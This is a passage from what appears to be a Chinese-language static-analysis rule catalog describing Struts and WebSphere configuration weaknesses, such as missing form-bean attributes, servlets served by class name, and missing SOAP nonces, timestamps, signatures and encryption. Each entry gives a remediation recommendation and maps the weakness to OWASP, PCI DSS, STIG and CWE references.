[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
Struts Misconfiguration: Missing Form Bean
ABSTRACT
指向不存在的 form-bean 的 Struts action 将不会正确进行映射。
EXPLANATION
Struts 使用 form-bean 条目将 HTML 形式映射至操作。如果 <action>
标签中的 name 属性与 form-bean 的名称不对应,则无法映射此操作,并表示存在冗余定义或排字错误。
例 1:以下配置不包含 bean2 的映射。
1 | <form-beans> |
RECOMMENDATIONS
确保存在一个 form-bean 条目,并且该条目与<action>
标签中发现的每个 name 属性相对应。
例 2:以下配置包含 bean1 和 bean2 的正确映射。
1 | <form-beans> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Form Bean Name
ABSTRACT
将不会使用不包含 name 属性的 form-bean。
EXPLANATION
Struts 使用 form-bean 名称将 HTML 形式映射至操作。如果 form-bean 没有名称,则它无法被映射至操作,并表示存在冗余定义或意外被忽略的 bean。 下面是一个适当的 form-bean 示例: 例 1:以下 form-bean 有一个空的 name 属性。
1 | <form-beans> |
RECOMMENDATIONS
为每个 form-bean 指定名称。
例 2:以下 form-bean 正确地包含了 name 属性。
1 | <form-beans> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Form Bean Type
ABSTRACT
将不会正确映射不包含 type 属性的 form-bean。
EXPLANATION
Struts 使用 form-bean 条目将 HTML 形式映射至操作。如果 form-bean 没有类型,则其不能映射到一个操作。 例 1:以下 form-bean 有一个空的 type 属性。
1 | <form-beans> |
RECOMMENDATIONS
为每个 form-bean 指定类型。
例 2:以下 form-bean 正确地包含了类型属性。
1 | <form-beans> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Form Property Type
ABSTRACT
定义不包含 type 类型属性的 form-property 是错误的。
EXPLANATION
Struts 要求 <form-property>
标签包含 type 属性。在处理定义了不包含类型的 form-property 的表单时,Struts 将抛出异常。
例 1:以下配置会忽略 name 属性的类型。
1 | <form-bean name="loginForm" type="org.apache.struts.validator.DynaValidatorForm"> |
RECOMMENDATIONS
在定义 form-property 时应始终指定完整的类名。 例 2:以下配置正确地指定了 name 属性的类型。
1 | <form-bean name="loginForm" type="org.apache.struts.validator.DynaValidatorForm"> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Forward Name
ABSTRACT
缺少 name 属性的<forward>
标签通常表示存在 Leftover Debug Code 或排字错误。
EXPLANATION
<forward>
标签必须具有 name 和 path 属性。将不会使用没有名称的 forward。
例 1:以下 <forward>
标签有一个空的 name 属性。
<forward name="" path="/results.jsp"/>
RECOMMENDATIONS
为每个 <forward>
标签定义名称。 例 2:以下 <forward>
标签正确地定义了名称属性。
1 | <forward name="login" path="/results.jsp"/> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Forward Path
ABSTRACT
缺少 path 属性的 <forward>
标签通常表示存在 Leftover Debug Code 或排字错误。
EXPLANATION
<forward>
标签必须具有 name 和 path 属性。忽略路径或指定空路径都是错误的。此外,所有路经必须以 “/” 字符开始。
例 1:以下 <forward>
标签缺少 path 属性。
<forward name="success" />
RECOMMENDATIONS
为每个 <forward>
标签定义路径。 例 2:以下 <forward>
标签正确地定义了路径属性。
<forward name="success" path="/pages/success.jsp" />
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
WebSphere Misconfiguration: Missing Nonce
ABSTRACT
若 SOAP 消息含有不会到期的时间戳,则它可能容易受到 replay 攻击。
EXPLANATION
Nonce 是随消息一起发送的加密随机值,可防止 replay 攻击。将 nonce 与时间戳(或有效期)结合使用时,每个消息都是唯一的,且只能在特定时间内有效,从而可以防止重新传输旧的消息。
RECOMMENDATIONS
将应用程序配置为随 SOAP 消息一起发送 nonce。IBM WebSphere 部署描述符扩展文件的 integrity 和 confidentiality 部分中,应包含 <nonce>
标签。
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security Username Token Profile 1.0 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 254
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[17] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[18] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Misconfiguration: Servlets Served By Class Name
ABSTRACT
将应用程序配置为使 WebSphere 能够按照 Servlet 的类名为其提供服务。
EXPLANATION
允许按照 Servlet 的类名为其提供服务会使知道 Servlet 名称的任何攻击者能够直接调用它,即使没有在应用程序的部署描述符中映射它也是如此。
例如,考虑包含名为 com.ibm.websphere.samples.MyServlet 的 Servlet 的应用程序。当 ibm-web-ext.xmi 中的 serveServletsByClassnameEnabled(适用于 WAS V6 及更早版本)或 ibm-web-ext.xml 中的 enable-serving-servlets-by-class-name(自 WAS V7 起)设置为 true 时,可以通过请求以下内容来调用 servlet:http://www.example.com/SomeContextPath/servlet/com.ibm.websphere.samples.MyServlet。
更糟糕的是,根据服务器的 classloader 结构,攻击者可能从驻留在相同 WebSphere 实例中的其他应用程序调用 Servlet。
RECOMMENDATIONS
应当禁止按照 Servlet 的类名来为其提供服务。通过将 ibm-web-ext.xmi 中的 serveServletsByClassnameEnabled(适用于 WAS V6 及更早版本)或 ibm-web-ext.xml 中的 enable-serving-servlets-by-class-name(自 WAS V7 起)设置为 false,可以实现此目的。
这是一种深入防御做法的建议,它和部署描述符不应包含到资源的一般映射的建议相同。
REFERENCES
[1] Keys Botzum WebSphere Application Server V6 advanced security hardening – Part 1
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10, Requirement 7.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Server Misconfiguration (WASC-14)
WebSphere Service Provider Misconfiguration: Inbound WS-Security Not Enabled
ABSTRACT
若服务提供程序不使用 WS-Security,则难以保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的增强功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,将其置于消息中。
若 IBM WebSphere WS-Security 服务器部署描述符扩展文件中缺少 <securityRequestConsumerServiceConfig>
标签,则表明未启用输入消息的安全性。
RECOMMENDATIONS
将该服务配置为使用 WS-Security。该配置应包含 <securityRequestConsumerServiceConfig>
标签以及适当的安全令牌、时间戳、签名和加密标签。
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 254
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Inbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
RECOMMENDATIONS
将服务配置为只接受加密的消息。通过启用“请求用户服务”配置中的保密性,便可完成此配置。
下面提供了 WebSphere 配置示例,将对输入的请求进行加密:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Inbound Signature
ABSTRACT
缺少签名意味着无法保证 SOAP 消息的完整性。
EXPLANATION
消息中任何未经签名的部分,都可能在发送者或接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码来验证消息内容来自真正的发送者。
RECOMMENDATIONS
将该服务配置为对输入的请求验证签名。
下列服务提供程序配置可让 IBM WebSphere 验证输入请求的签名:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 345
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Inbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
RECOMMENDATIONS
将服务配置为要求输入的请求具有时间戳。 下列 WebSphere 配置要求输入的 SOAP 请求具有时间戳:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Outbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
RECOMMENDATIONS
将服务配置为对输出的消息进行加密。通过启用“响应生成器服务”配置中的保密性,便可完成此配置。
下面提供了 WebSphere 配置示例,将对输出的响应进行加密:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
